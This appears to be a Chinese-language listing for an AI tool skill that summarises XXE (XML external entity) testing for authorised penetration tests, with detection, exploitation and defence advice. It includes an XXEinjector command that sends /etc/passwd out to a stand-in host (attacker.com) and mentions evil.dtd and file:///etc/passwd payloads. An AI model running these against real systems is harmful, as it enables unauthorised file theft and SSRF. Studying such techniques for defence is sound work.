SuperAPI AI 工具集

xxe-testing

测试与质量

查看项目

更新于 10-15 19:53

技能介绍

用途:本技能面向授权安全测试,提供XXE(XML外部实体注入)漏洞的检测、利用与防护方法论。XXE利用XML解析器处理外部实体的缺陷,可读取本地文件、发起SSRF或造成拒绝服务,常见于XML文档解析、SOAP服务、Office文档(.docx、.xlsx)、SVG图片和PDF文件。

主要能力:识别XML输入点(文件上传、接受XML的API、SOAP请求、Office文档处理、数据导入);基础XXE检测(外部实体读取file:///etc/passwd、网络请求SSRF);盲XXE检测(外带数据、参数实体配合evil.dtd);利用技术包括文件读取(含Windows路径)、SSRF内网探测与端口扫描、Billion Laughs拒绝服务、Office文档XXE(修改document.xml.rels);绕过技术涉及PHP php://filter、Java jar:协议、URL编码及参数实体。

使用方式:可手工构造XML实体进行测试,或使用工具。XXEinjector示例:ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml;带外带与文件读取:ruby XXEinjector.rb --host=target.com --path=/api --file=request.xml --oob=http://attacker.com --path=/etc/passwd。Burp Suite可拦截XML请求、发送到Repeater、修改XML添加外部实体并观察响应或外带数据。

适用场景:Web/API安全测试、SOAP服务评估、文档处理功能审计等授权渗透测试环境。

限制与防护:仅在授权测试环境中进行,避免读取敏感文件造成数据泄露,注意不同语言和库的XXE处理差异,测试Office文档时注意文件格式。防护建议禁用外部实体(如Java设置disallow-doctype-decl、external-general-entities、external-parameter-entities为false)、使用白名单验证、采用不处理DTD的安全解析器或以JSON替代XML。验证与报告需确认解析器处理外部实体、验证文件读取或SSRF成功、评估影响范围并记录完整PoC。